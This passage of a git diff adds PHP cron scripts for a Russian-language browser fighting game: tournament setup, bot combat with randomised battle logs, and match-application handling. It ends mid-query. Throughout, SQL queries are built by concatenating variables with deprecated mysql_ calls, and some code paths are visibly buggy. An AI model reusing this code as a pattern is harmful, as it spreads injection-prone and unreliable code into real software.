WHERE `id` = '".$sh."' LIMIT 1;")); + mysql_query("INSERT `deztow_items` (`iteam_id`, `name`, `img`, `room`) values ('".$shopid['id']."', '".$shopid['name']."', '".$shopid['img']."', '".rand($minroom,$maxroom)."');"); + } + // формируем лог + $log = ''.date("d.m.y H:i").' Начало турнира. Участники: '.$lors.'
    '; + // создаем запись о турнире + mysql_query("INSERT `deztow_turnir` (`type`,`winner`,`coin`,`start_time`,`log`,`endtime`,`active`) values ('".rand(1,7)."','','".$stavka[0]."','".time()."','".$log."','0','1');"); + //mysql_query("UNLOCK TABLES;"); + + foreach($urs as $row=>$rum) { + mysql_query("UPDATE `users` SET `in_tower` = 1, `room` = '".$rum."' WHERE `id` = '".$row."';"); + mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '".$row."' LIMIT 1 ;"); + } + } + + + // bots razmen + //==================================================================================== +/*function nick5 ($id,$st) { + $bots = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$id.' LIMIT 1;')); + $id=$bots['prototype']; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$id}' LIMIT 1;")); + $user['login'] = $bots['name']; + $user['hp'] = $bots['hp']; + $user['id'] = $bots['id']; + + if($user[0]) { + return "".$user['login'].""; + } +} + */ + + class botbattle { + public $log = ""; // агреггатор лога + + function botbattle () { + global $mysql; + $this->mysql = $mysql; + } + + function get_wep_type($idwep) { + + if ($idwep == 0) { + return "kulak"; + } + $wep = mysql_fetch_array(mysql_query('SELECT `name` FROM `inventory` WHERE `id` = '.$idwep.' LIMIT 1;')); + //print_r($wep); + if(preg_match("/кастет/i",$wep[0]) || preg_match("/нож/i",$wep[0]) || preg_match("/кинжал/i",$wep[0])) { + return "noj"; + } + elseif(preg_match("/дубина/i",$wep[0]) || preg_match("/молот/i",$wep[0]) || preg_match("/ледяной/i",$wep[0]) || preg_match("/клевец/i",$wep[0])) { + return "dubina"; + } + elseif(preg_match("/топор/i",$wep[0]) OR preg_match("/секира/i",$wep[0]) || preg_match("/аллебарда/i",$wep[0])) { + return "topor"; + } + elseif(preg_match("/Меч/i",$wep[0])) { + return "mech"; + } + + } + + function razmen_log($type,$kuda,$chem,$uron,$kto,$c1,$pokomy,$c2,$hp,$maxhp) { + //print_R(func_get_args()); + if ($this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = false; } + if (!$this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = true; } + if ($this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = false; } + if (!$this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = true; } + + if ($this->user['sex'] && $kto == $this->user['id']) { $sex1 = false; } + if (!$this->user['sex'] && $kto == $this->user['id']) { $sex1 = true; } + if ($this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = false; } + if (!$this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = true; } + + if($hp < 0) { $hp = 0; } + + // текст по промазыванию + if (!$sex1) { + $textfail = array ( 'думал о <вырезано цензурой>, вследствие чего', + 'пытался нанести удар, но ', + 'поскользнулся, и', + 'старался провести удар, но', + 'закашлялся, и', + 'пытался провести удар, но безумный', + 'потерял самоконтроль, вследствие чего', + 'думал не о том и'); + } else { + $textfail = array ( 'думала о <вырезано цензурой>, вследствие чего', + 'пыталась нанести удар, но ', + 'поскользнулась, и', + 'старалась провести удар, но', + 'закашлялась, и', + 'пыталась провести удар, но ', + 'потеряла самоконтроль, вследствие чего', + 'думала не о том и'); + } + // чем били + $textchem = array ( + "kulak" => array("грудью","ребром руки","лбом","кулаком","ногой","левой ногой","правой ногой","коленом"), + "noj" => array("ножем","тыльной стороной лезвия ножа","рукоятью ножа","лезвием ножа"), + "dubina" => array("сучковатой палкой","поленом","тяжелой дубиной","дубиной","рукоятью молота"), + "topor" => array("секирой","топором","лезвием секиры","аллебардой","тяжелым держаком","длинной секирой"), + "mech" => array("ножнами","гардой","мечем","лезвием меча","рукоятью меча","тупым лезвием","острой стороной меча","огромным мечем",) + ); + $textchem = $textchem[$chem]; + // куда били + $udars = array( + '1' => array ('в нос','в глаз','в челюсть','по переносице','в кадык','по затылку','в правый глаз','в левый глаз','в скулу'), + '2' => array ('в грудь','в корпус','в солнечное сплетение','в сердце','в бок','в область лопаток','по желудку','по левой руке','по правой руке'), + '3' => array ('по <вырезано цензурой>','в пах','в промежность','по левой ягодице','по правой ягодице'), + '4' => array ('по ногам','в область правой пятки','в область левой пятки','по коленной чашечке','по икрам') + ); + $kuda = $udars[$kuda][rand(0,count($udars[$kuda])-1)]; + //тест по попаданию + if (!$sex2) { + $textud = array ('забылся, и тут', + 'замешкался, и за это бесчувственный', + 'растерялся, как вдруг расстроенный', + 'ковырялся в зубах, и тут', + 'поперхнулся, но вдруг храбрый', + 'пытался что-то сказать но вдруг, неожиданно', + 'растерялся, как вдруг', + 'засмотрелся на <вырезано цензурой>, а в это время', + 'высморкался, и в это время', + 'думал не о том и', + 'пришел в себя, но в это время обезумевший', + 'обернулся, как внезапно'); + } else { + $textud = array ('забылась, и тут', + 'замешкалась, и за это ', + 'растерялась, как вдруг ', + 'ковырялась в зубах, и тут ', + 'поперхнулась, но вдруг ', + 'пыталась что-то сказать но вдруг, неожиданно', + 'растерялась, как вдруг', + 'засмотрелась на <вырезано цензурой>, а в это время', + 'высморкалась, и в это время', + 'думала не о том и', + 'пришла в себя, но в это время ', + 'обернулась, как внезапно'); + } + + switch ($type) { + // уворот + case "uvorot": + if ($sex2) { + $textuvorot = array (" уклонилась от удара "," увернулась от удара "," отскочила от удара "); + } + else { + $textuvorot = array (" уклонился от удара "," увернулся от удара "," отскочил от удара "); + } + return ''.date("H:i").' '.nick5($kto,$c1).' '.$textfail[rand(0,count($textfail)-1)].' '.nick5($pokomy,$c2).' '.$textuvorot[rand(0,count($textuvorot)-1)].' '.$textchem[rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + //блок + case "block": + if ($sex2) { + $textblock = array (" заблокировала удар "," остановила удар "," отбила удар "); + } + else { + $textblock = array (" заблокировал удар "," остановил удар "," отбил удар "); + } + return ''.date("H:i").' '.nick5($kto,$c1).' '.$textfail[rand(0,count($textfail)-1)].' '.nick5($pokomy,$c2).' '.$textblock[rand(0,count($textblock)-1)].' '.$textchem[rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + //крит + case "krit": + if ($sex1) { + $textkrit = array (", напугав всех, неслышно подойдя сзади ударила по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломила руку за спину соперника.",", расслабившись, расцарапала нос соперника.",", показав сразу два пальца, наступила на ногу врага.",", напугав всех, укусила в нос противника.",", проклиная этот сайт, провела ужасный бросок через пупок оппонента."); + } + else { + $textkrit = array (", напугав всех, неслышно подойдя сзади ударил по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломил руку за спину соперника.",", расслабившись, расцарапал нос соперника.",", показав сразу два пальца, наступил на ногу врага.",", напугав всех, укусил в нос противника.",", проклиная этот сайт, провел ужасный бросок через пупок оппонента."); + } + return ''.date("H:i").' '.nick5($pokomy,$c2).' '.$textud[rand(0,count($textud)-1)].' '.nick5($kto,$c1).' '.$textkrit[rand(0,count($textkrit)-1)].' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + // попадание + case "udar": + if ($sex1) { + $textudar = array(", разбежавшись, рубанула"," отчаянно проткнула "," нехотя уколола "," не подумав, рубанула ",", улыбаясь, саданула укол "," приложила удар "," ударила "," сдуру вмазала "); + } + else { + $textudar = array(", разбежавшись, рубанул"," отчаянно проткнул "," нехотя уколол "," не подумав, рубанул ",", улыбаясь, саданул укол "," приложил удар "," ударил "," сдуру вмазал "); + } + return ''.date("H:i").' '.nick5($pokomy,$c2).' '.$textud[rand(0,count($textud)-1)].' '.nick5($kto,$c1).''.$textudar[rand(0,count($textudar)-1)].' '.$textchem[rand(0,count($textchem)-1)].' '.$kuda.' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + } + } + + function update_battle () { + return mysql_query('UPDATE `battle` SET `teams` = \''.serialize($this->battle).'\', `damage` = \''.serialize($this->damage).'\' WHERE `id` = '.$this->battle_data['id'].' ;'); + } + + function add_log ($text) { + $this->log .= $text; + } + + function write_log () { + if($this->log){$this->log=$this->log."
    ";} + addlog($this->user['battle'],$this->log); + + /*$fp = fopen("/tmp/backup/logs/battle".$this->battle_data['id'].".txt","a"); //открытие + flock($fp,LOCK_EX); //БЛОКИРОВКА ФАЙЛА + fputs($fp , $this->log); //работа с файлом + fflush($fp); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ + flock($fp,LOCK_UN); //СНЯТИЕ БЛОКИРОВКИ + fclose($fp); //закрытие + $this->log = '';*/ + } + + function solve_mf($enemy,$enemy2,$en1att,$en2att) { + $mf = array (); + + $bots = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy2.' LIMIT 1;')); + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->enemyhar['hp'] = $bots['hp']; + + + $bots = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy.' LIMIT 1;')); + $this->user = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->user_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->user['hp'] = $bots['hp']; + + + // мои МФ в отношении противника + $mf['me'] = array ( + 'udar' => rand(floor($this->user['sila']/3)+2+$this->user_dress[0],floor($this->user['sila']/3)+4+$this->user_dress[1])-rand(1,$this->enemy_dress[5+$en1att]), + 'krit' => $this->user_dress[2]-$this->enemy_dress[3]+floor($this->user['inta']*4)-floor($this->enemyhar['inta']*4), + 'uvorot' => $this->user_dress[4]-$this->enemy_dress[5]+floor($this->user['lovk']*4)-floor($this->enemyhar['lovk']*4), + ); + if($this->get_wep_type($this->user['weap']) == 'kulak' && $this->user['align'] == '2') { $mf['me']['udar'] += $this->user['level']; } + //бонусы от умений к урону + switch($this->get_wep_type($this->user['weap'])) { + case "noj": + $mf['me']['udar'] += $this->user['noj']; + break; + case "dubina": + $mf['me']['udar'] += $this->user['dubina']; + break; + case "topor": + $mf['me']['udar'] += $this->user['topor']; + break; + case "mech": + $mf['me']['udar'] += $this->user['mec']; + break; + } + + if($bmfud>5) $mf['me']['udar']+=$bmfud; + if($mf['me']['udar'] < 0) { $mf['me']['udar'] = 0; } + if($bmfud<=5) $mf['me']['udar']+=$bmfud; + if($mf['me']['krit'] < 1) + { $mf['me']['krit'] = 1; } + elseif (($mf['me']['krit'] >= 50)&&($mf['me']['krit']<100)) + { $mf['me']['krit'] = 50; } + elseif (($mf['me']['krit'] >= 100)&&($mf['me']['krit']<200)) + { $mf['me']['krit'] = 55; } + elseif (($mf['me']['krit'] >= 200)&&($mf['me']['krit']<300)) + { $mf['me']['krit'] = 60; } + elseif (($mf['me']['krit'] >= 300)&&($mf['me']['krit']<400)) + { $mf['me']['krit'] = 65; } + elseif (($mf['me']['krit'] >= 400)&&($mf['me']['krit']<500)) + { $mf['me']['krit'] = 70; } + elseif ($mf['me']['krit'] >= 500) + { $mf['me']['krit'] = 75; } + if($mf['me']['uvorot'] < 1) + { $mf['me']['uvorot'] = 1; } + elseif (($mf['me']['uvorot'] >= 50)&&($mf['me']['uvorot']<100)) + { $mf['me']['uvorot'] = 50; } + elseif (($mf['me']['uvorot'] >= 100)&&($mf['me']['uvorot']<200)) + { $mf['me']['uvorot'] = 55; } + elseif (($mf['me']['uvorot'] >= 200)&&($mf['me']['uvorot']<300)) + { $mf['me']['uvorot'] = 60; } + elseif (($mf['me']['uvorot'] >= 300)&&($mf['me']['uvorot']<400)) + { $mf['me']['uvorot'] = 65; } + elseif (($mf['me']['uvorot'] >= 400)&&($mf['me']['uvorot']<500)) + { $mf['me']['uvorot'] = 70; } + elseif ($mf['me']['uvorot'] >= 500) + { $mf['me']['uvorot'] = 75; } + switch($this->get_wep_type($this->user['weap'])) { + case "noj": + $ver=$this->user['noj']; + break; + case "dubina": + $ver=$this->user['dubina']; + break; + case "topor": + $ver=$this->user['topor']; + break; + case "mech": + $ver=$this->user['mech']; + break; + } + if(mt_rand(0,100)<$ver) + switch($this->get_wep_type($this->user['weap'])) { + case "noj": + $mf['me']['udar']+=(($this->user['lovk']+$this->user['inta'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "dubina": + $mf['me']['udar']+=(($this->user['sila']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "topor": + $mf['me']['udar']+=(($this->user['inta']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "mech": + $mf['me']['udar']+=(($this->user['lovk']+$this->user['sila'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + } + //округляем урон + $mf['me']['udar']=round($mf['me']['udar']); + + // МФ врага в отношении меня + $mf['he'] = array ( + 'udar' => rand(floor($this->enemyhar['sila']/3)+2+$this->enemy_dress[0],floor($this->enemyhar['sila']/3)+4+$this->enemy_dress[1])-rand(1,$this->user_dress[5+$en2att]), + 'krit' => $this->enemy_dress[2]-$this->user_dress[3]+floor($this->enemyhar['inta']*4)-floor($this->user['inta']*4), + 'uvorot' => $this->enemy_dress[4]-$this->user_dress[5]+floor($this->enemyhar['lovk']*4)-floor($this->user['lovk']*4), + ); + if($this->get_wep_type($this->enemyhar['weap']) == 'kulak' && $this->enemyhar['align'] == '2') { $mf['he']['udar'] += $this->enemyhar['level']; } + switch($this->get_wep_type($this->enemyhar['weap'])) { + case "noj": + $mf['he']['udar'] += $this->enemyhar['noj']; + break; + case "dubina": + $mf['he']['udar'] += $this->enemyhar['dubina']; + break; + case "topor": + $mf['he']['udar'] += $this->enemyhar['topor']; + break; + case "mech": + $mf['he']['udar'] += $this->enemyhar['mec']; + break; + } + if($bmfud1<5) $mf['he']['udar']+=$bmfud1; + if($mf['he']['udar'] < 0) { $mf['he']['udar'] = 0; } + if($bmfud1>=5) $mf['he']['udar']+=$bmfud1; + //if($mf['he']['krit'] < 1) { $mf['he']['krit'] = 1; } elseif ($mf['he']['krit'] > 50) { $mf['he']['krit'] = 50; } + //if($mf['he']['uvorot'] < 1) { $mf['he']['uvorot'] = 1; } elseif ($mf['he']['uvorot'] > 65) { $mf['he']['uvorot'] = 65; } + if($mf['he']['krit'] < 1) + { $mf['he']['krit'] = 1; } + elseif (($mf['he']['krit'] >= 50)&&($mf['he']['krit']<100)) + { $mf['he']['krit'] = 50; } + elseif (($mf['he']['krit'] >= 100)&&($mf['he']['krit']<200)) + { $mf['he']['krit'] = 55; } + elseif (($mf['he']['krit'] >= 200)&&($mf['he']['krit']<300)) + { $mf['he']['krit'] = 60; } + elseif (($mf['he']['krit'] >= 300)&&($mf['he']['krit']<400)) + { $mf['he']['krit'] = 65; } + elseif (($mf['he']['krit'] >= 400)&&($mf['he']['krit']<500)) + { $mf['he']['krit'] = 70; } + elseif ($mf['he']['krit'] >= 500) + { $mf['he']['krit'] = 75; } + if($mf['he']['uvorot'] < 1) + { $mf['he']['uvorot'] = 1; } + elseif (($mf['he']['uvorot'] >= 50)&&($mf['he']['uvorot']<100)) + { $mf['he']['uvorot'] = 50; } + elseif (($mf['he']['uvorot'] >= 100)&&($mf['he']['uvorot']<200)) + { $mf['he']['uvorot'] = 55; } + elseif (($mf['he']['uvorot'] >= 200)&&($mf['he']['uvorot']<300)) + { $mf['he']['uvorot'] = 60; } + elseif (($mf['he']['uvorot'] >= 300)&&($mf['he']['uvorot']<400)) + { $mf['he']['uvorot'] = 65; } + elseif (($mf['he']['uvorot'] >= 400)&&($mf['he']['uvorot']<500)) + { $mf['he']['uvorot'] = 70; } + elseif ($mf['he']['uvorot'] >= 500) + { $mf['he']['uvorot'] = 75; } + //проф урон + switch($this->get_wep_type($this->user['weap'])) { + case "noj": + $ver=$this->user['noj']; + break; + case "dubina": + $ver=$this->user['dubina']; + break; + case "topor": + $ver=$this->user['topor']; + break; + case "mech": + $ver=$this->user['mech']; + break; + } + if(mt_rand(0,100)<$ver) + switch($this->get_wep_type($this->user['weap'])) { + case "noj": + $mf['he']['udar']+=(($this->user['lovk']+$this->user['inta'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "dubina": + $mf['he']['udar']+=(($this->user['sila']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "topor": + $mf['he']['udar']+=(($this->user['inta']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "mech": + $mf['he']['udar']+=(($this->user['lovk']+$this->user['sila'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + } + //if(in_array($enemy,$this->botsid)) { $mf['he']['udar'] += $this->user_dress[1]; } + if($enemy > _BOTSEPARATOR_) { + $mf['he']['krit'] -= 6; + } + //округляем урон + $mf['he']['udar']=round($mf['he']['udar']); + //if(in_array($enemy,$this->botsid)) { $mf['he']['udar'] += $this->user_dress[1]; } + // result + return $mf; + } + + function get_chanse ($persent) { + if (rand(1,100) < $persent) { + return true; + } + else { + return false; + } + } + + function get_block ($att,$def) { + // по типам блоков + $blocks = array ( + '1' => array (1,2), + '2' => array (2,3), + '3' => array (3,4), + '4' => array (4,1) + ); + + if (!in_array($att,$blocks[$def])) { + return true; + } else { + return false; + } + + } + + function razmen_init ($enemy,$enemy2,$battle_id) { + $bots1 = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy.' AND `battle` = '.$battle_id.' AND `hp` > 0 LIMIT 1;')); + $bots2 = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy2.' AND `battle` = '.$battle_id.' AND `hp` > 0 LIMIT 1;')); + if($bots1 && $bots2) { + + + + $this->battle_data = mysql_fetch_array(mysql_query ('SELECT * FROM `battle` WHERE `id` = '.$battle_id.' LIMIT 1;')); + + // получили дамагу + $this->damage = unserialize($this->battle_data['damage']); + // кто драчуется? + $this->battle = unserialize($this->battle_data['teams']); + + // режем тимзы + $this->t1 = explode(";",$this->battle_data['t1']); + $this->t2 = explode(";",$this->battle_data['t2']); + // проставляем кто-где + if (in_array ($enemy,$this->t1)) { + $this->my_class = "B1"; + $this->en_class = "B2"; + $this->team_mine = $this->t1; + $this->team_enemy = $this->t2; + } else { + $this->my_class = "B2"; + $this->en_class = "B1"; + $this->team_mine = $this->t2; + $this->team_enemy = $this->t1; + } + + + // проверяем прафильность + $en1att = mt_rand(1,4); + $en2att = mt_rand(1,4); + $en1b = mt_rand(1,4); + $en2b = mt_rand(1,4); + + // х-ки драчующихся + $mf = $this->solve_mf($enemy,$enemy2,$en1att,$en2att); + + //echo $this->get_wep_type($this->enemyhar['weap']); + // проверяем кто куда попал + // удар по мне + if ($this->get_chanse($mf['my']['uvorot'])) + { + // я увернулся; + $this->add_log ($this->razmen_log("uvorot",$en2att,$this->get_wep_type($this->enemyhar['weap']),0,$enemy2,$this->en_class,$enemy,$this->my_class,0,0)); + } + elseif($this->get_chanse($mf['he']['krit'])) { + // меня кританули + $this->damage[$enemy2] += ($mf['he']['udar']*2); + $this->add_log ($this->razmen_log("krit",$en2att,$this->get_wep_type($this->enemyhar['weap']),($mf['he']['udar']*2),$enemy2,$this->en_class,$enemy,$this->my_class,($this->user['hp']-$mf['he']['udar']*2),$this->user['maxhp'])); + mysql_query('UPDATE bots SET `hp` = `hp` - '.($mf['he']['udar']*2).' WHERE `id` = '.$enemy.''); + } + elseif($this->get_block ($en2att,$en1b)) { + // противник попал куда надо + $this->damage[$enemy2] += ($mf['he']['udar']); + $this->add_log ($this->razmen_log("udar",$en2att,$this->get_wep_type($this->enemyhar['weap']),$mf['he']['udar'],$enemy2,$this->en_class,$enemy,$this->my_class,($this->user['hp']-$mf['he']['udar']),$this->user['maxhp'])); + mysql_query('UPDATE bots SET `hp` = `hp` - '.($mf['he']['udar']).' WHERE `id` = '.$enemy.''); + } + else { + // противник мазила + $this->add_log ($this->razmen_log("block",$en2att,$this->get_wep_type($this->enemyhar['weap']),0,$enemy2,$this->en_class,$enemy,$this->my_class,0,0)); + } + + + // удар по противнику + if ($this->get_chanse($mf['he']['uvorot'])) + { + // он увернулся; + $this->add_log ($this->razmen_log("uvorot",$en1att,$this->get_wep_type($this->user['weap']),0,$enemy,$this->my_class,$enemy2,$this->en_class,0,0)); + } + elseif($this->get_chanse($mf['my']['krit'])) { + // его кританули + $this->damage[$enemy] += ($mf['me']['udar']*2); + $this->add_log ($this->razmen_log("krit",$en1att,$this->get_wep_type($this->user['weap']),($mf['me']['udar']*2),$enemy,$this->my_class,$enemy2,$this->en_class,($this->enemyhar['hp']-$mf['me']['udar']*2),$this->enemyhar['maxhp'])); + + mysql_query('UPDATE `bots` SET `hp` = `hp` - '.($mf['me']['udar']*2).' WHERE `id` = '.$enemy2.''); + + } + elseif($this->get_block ($en1att,$en2b)) { + // я попал куда надо + $this->damage[$enemy] += ($mf['me']['udar']); + $this->add_log ($this->razmen_log("udar",$en1att,$this->get_wep_type($this->user['weap']),$mf['me']['udar'],$enemy,$this->my_class,$enemy2,$this->en_class,($this->enemyhar['hp']-$mf['me']['udar']),$this->enemyhar['maxhp'])); + + mysql_query('UPDATE `bots` SET `hp` = `hp` - '.($mf['me']['udar']).' WHERE `id` = '.$enemy2.''); + + } + else { + // я мазила + $this->add_log ($this->razmen_log("block",$attack,$this->get_wep_type($this->user['weap']),0,$enemy,$this->my_class,$enemy2,$this->en_class,0,0)); + } + $this->write_log(); + $this->update_battle (); + + + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".(time())."' WHERE `id` = ".$this->battle_data['id']." LIMIT 1;"); +} + + } + + + + + + + } + + $bots = mysql_query ('SELECT * FROM `bots` WHERE `hp` > 0;'); + + $bb = new botbattle; + while ($bot = mysql_fetch_array($bots)) { + $bd = mysql_fetch_array(mysql_query ('SELECT * FROM `battle` WHERE `id` = '.$bot['battle'].' LIMIT 1;')); + $battle = unserialize($bd['teams']); + // листаем противников, делаем размен. + if ($battle[$bot['id']]) { + foreach ($battle[$bot['id']] as $k => $v) { + if($battle[$bot['id']][$k][0] == 0 && $k > _BOTSEPARATOR_) { + //echo("Bots:".$bot['id']."vs".$k."
    "); + //srand(microtime(true)); + $bb->razmen_init($bot['id'],$k,$bot['battle']); + } + } + } + //mysql_query('UPDATE `battle` SET `teams` = \''.serialize($battle).'\' WHERE `id` = '.$bot['battle'].' ;'); + } + + //==================================================================================== +/* +$mtime = microtime(); +$mtime = explode(" ",$mtime); +$mtime = $mtime[1] + $mtime[0]; +//Записываем время окончания в другую переменную +$tend = $mtime; +//Вычисляем разницу +$totaltime = ($tend - $tstart); +//Выводим не экран +printf ("PGT: %f секунд", $totaltime); */ +?> \ No newline at end of file diff --git a/cron_zv.php b/cron_zv.php new file mode 100644 index 0000000..aeee142 --- /dev/null +++ b/cron_zv.php @@ -0,0 +1,225 @@ + 3) { + return 'Ай-ай-ай!'; + } + } + + if(mysql_query("DELETE FROM `zayavka` WHERE `id` = {$zay} AND (`team1` LIKE '{$id};%' OR `team2` LIKE '{$id};%') LIMIT 1")) { + if(count($z[$zay]['team1']) > 0) { + foreach($z[$zay]['team1'] as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = 0 WHERE `id` = {$v}"); + } + } + + if(count($z[$zay]['team2']) > 0) { + foreach($z[$zay]['team2'] as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = 0 WHERE `id` = {$v}"); + } + } + return 'Вы отозвали заявку.'; + } +} + +function fteam($team) { + $team = explode(";", $team); + unset($team[count($team)-1]); + return $team; +} + +function getlist($razdel = 1, $level = null, $id = null ) { + $fict = mysql_query("SELECT * FROM `zayavka` WHERE ".(($level != null)? " ((`t1min` <= '{$level}' OR `t1min` = '99') AND (`t1max` >= '{$level}' OR `t1max` = '99') ".(($razdel == 4)?"AND (`t2min` <= '{$level}' OR `t2min` = '99') AND (`t2max` >= '{$level}' OR `t2max` = '99')":"").") AND " : "")." `level` = {$razdel} ".(($id != null)? " AND `id` = {$id} " : "")." ORDER BY `podan` DESC"); + while($row = mysql_fetch_array($fict)) { + if(($row['start']+300) < time()) { + if(mysql_query("DELETE FROM `zayavka` WHERE `id` = '{$row['id']}' LIMIT 1")) { + $team1 = fteam($row['team1']); + foreach($team1 as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = '0' WHERE `id` = {$v}"); + } + $team2 = fteam($row['team2']); + foreach($z[$zay]['team2'] as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = '0' WHERE `id` = {$v}"); + } + } + } + $zay[$row['id']] = array("team1" => fteam($row['team1']), "team2" => fteam($row['team2']), "coment" => $row['coment'], "type" => $row['type'], "timeout" => $row['timeout'], "start" => $row['start'], "t1min" => $row['t1min'], "t1max" => $row['t1max'], "t2min" => $row['t2min'], "t2max" => $row['t2max'], "t1c" => $row['t1c'], "t2c" => $row['t2c'], "podan" => $row['podan'], "id" => $row['id'], "level" => $row['level'], "blood" => $row['blood'], "bots" => $row['bots']); + } + return $zay; +} + +function startbattle($id, $zay, $r) { + $z = getlist($r, null, $zay); + if($id == 'CHAOS') { $id = $z[$zay]['team1'][0]; } + delzayavka($id, $zay, $r); + $z = $z[$zay]; + $count_users = count($z['team1']); + + $bot = 0; + if($z['bots'] > 0) { + $bots_raw = array(7 => array(10962, 10964, 10965), 8 => array()); + $i = 0; + while($i <= count($bots_raw[$z['bots']])) { + $bot_id = $bots_raw[$z['bots']][$i]; + $bot = createbot($bot_id, ''); + $z['team1'][] = $bot['id']; + $i++; + } + $count_users += 3; + } + + if($z['type'] == 4 || $z['type'] == 5) { + foreach($z['team1'] as $k => $v) { + undressall($v); + } + + foreach($z['team2'] as $k => $v) { + undressall($v); + } + } + + if($z['type'] == 3 || $z['type'] == 5) { + if($count_users < 4) { + mysql_query("UPDATE `users` SET `zayavka` = '0' WHERE `zayavka` = '".$zay."'"); + foreach($z['team1'] as $k => $v) { + if($v < _BOTSEPARATOR_) { + addchp('Внимание! Ваш бой не может начаться по причине Группа не набрана.', '{[]}'.nick7($v).'{[]}'); + } + } + mysql_query("UPDATE `variables` SET `value` = '{$count_users}}' WHERE `var` = 'haos_match' LIMIT 1"); + mysql_query("DELETE FROM `zayavka` WHERE `id` = '".$zay."' LIMIT 1"); + } + + $all = count($z['team1'])-1; + $power1 = 0; $power2 = 0; + + for($i = 0; $i <= $all; $i++) { + if($z['team1'][$i] < _BOTSEPARATOR_) { + $gamer = mysql_fetch_array(mysql_query("SELECT (`level`*50)+`sila`+`lovk`+`inta`+`vinos`+`intel`+`stats`+IFNULL((SELECT SUM(`cost`) FROM `inventory` WHERE `owner` = `users`.`id` AND `dressed` = 1), 0) FROM `users` WHERE `id` = '".$z['team1'][$i]."' LIMIT 1")); + } else { + $bt = mysql_fetch_array(mysql_query('SELECT `id`, `prototype` FROM `bots` WHERE `id` = "'.$z['team1'][$i].'"')); + $gamer = mysql_fetch_array(mysql_query("SELECT (`level`*50)+`sila`+`lovk`+`inta`+`vinos`+`intel`+`stats`+IFNULL((SELECT SUM(`cost`) FROM `inventory` WHERE `owner` = `users`.`id` AND `dressed` = 1), 0) FROM `users` WHERE `id` = '".$bt['prototype']."' LIMIT 1")); + } + + $cost[] = array($z['team1'][$i], $gamer[0]); + } + + $z['team1'] = null; + $z['team2'] = null; + + $flag = true; + while($flag) { + $flag = false; + for($ii = 0; $ii <= $all-1; $ii++) { + if($cost[$ii][1] < $cost[$ii+1][1]) { + $ctr = $cost[$ii+1]; + $cost[$ii+1] = $cost[$ii]; + $cost[$ii] = $ctr; + $flag = true; + } + } + } + + while(count($cost) > 0) { + if($power1 <= $power2) { + $tmp = array_shift($cost); + $power1 += $tmp[1]; + $z['team1'][] = $tmp[0]; + } else { + $tmp = array_shift($cost); + $power2 += $tmp[1]; + $z['team2'][] = $tmp[0]; + } + } + } + + $teams = array(); + + foreach($z['team1'] as $k => $v) { + foreach($z['team2'] as $kk => $vv) { + $teams[$v][$vv] = array(0, 0, time()); + } + } + + foreach($z['team2'] as $k => $v) { + foreach($z['team1'] as $kk => $vv) { + $teams[$v][$vv] = array(0, 0, time()); + } + } + + if(count($z['team2']) == 0) { + mysql_query("UPDATE `users` SET `zayavka` = 0 WHERE `zayavka` = '".$zay."'"); + foreach($z['team1'] as $k => $v) { + addchp('Внимание! Ваш бой не может начаться по причине "Группа не набрана".', '{[]}'.nick7($v).'{[]}'); + } + mysql_query("DELETE FROM `zayavka` WHERE `id` = '".$zay."' LIMIT 1"); + die(); + } + + $arr = array(3, 4, 5, 7, 10); + + if(in_array($z['timeout'], $arr)) { + + } else { + $z['timeout'] = 3; + } + + if($z['type'] == 1 || $z['type'] == 4) { + $rs = ', `fiz`'; $rss = ', 1'; + } else { + $rs = ''; $rss = ''; + } + + mysql_query("INSERT INTO `battle` (`coment`, `teams`, 